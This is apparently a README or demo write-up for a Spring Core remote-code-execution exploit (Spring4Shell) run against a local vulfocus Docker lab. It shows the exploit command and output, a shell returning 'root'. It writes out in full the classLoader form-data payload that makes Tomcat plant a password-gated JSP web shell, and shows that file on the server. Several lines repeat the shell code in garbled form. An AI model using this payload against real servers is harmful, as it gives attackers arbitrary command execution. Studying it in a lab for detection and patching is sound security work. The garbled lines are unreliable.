docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
python python spring-core-rce-exp.py --url "http://127.0.0.1:8082"
- check the console output
D:\Downloads>python spring-core-rce-exp.py --url "http://127.0.0.1:8082"
The vulnerability exists, the shell address is :http://127.0.0.1:8082/tomcatwar.jsp?pwd=j&cmd=whoami
got response:
D:\Downloads>python spring-core-rce-exp.py --url "http://127.0.0.1:8082"
The vulnerability exists, the shell address is :http://127.0.0.1:8082/tomcatwar.jsp?pwd=j&cmd=whoami
got response: root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
D:\Downloads>
The key form data send to the server is the following.
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
if ("j".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in .read(b)) != -1) {
out.println(new String(b));
}
}
%{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
And you can see a new file is created in the server.
┌──(liudonghua㉿DESKTOP-DELL)-[/mnt/c/Users/Liu.D.H]
└─$ docker exec -it 14a0ced28ebe bash
[root@14a0ced28ebe /]# ls -l /app/tomcat/webapps/ROOT
total 16
drwxr-x--- 3 root root 4096 Mar 31 02:48 META-INF
drwxr-x--- 5 root root 4096 Mar 31 02:48 WEB-INF
drwxr-x--- 3 root root 4096 Mar 31 02:48 org
-rw-r----- 1 root root 976 Mar 31 03:25 tomcatwar.jsp
[root@14a0ced28ebe /]# cd /app/tomcat/webapps/ROOT
[root@14a0ced28ebe ROOT]# cat tomcatwar.jsp
<% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
<% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -
[root@14a0ced28ebe ROOT]#
- JDK9 and above;
- Using the Spring-beans package;
- Spring parameter binding is used;
- Spring parameter binding uses non-basic parameter types, such as general POJOs;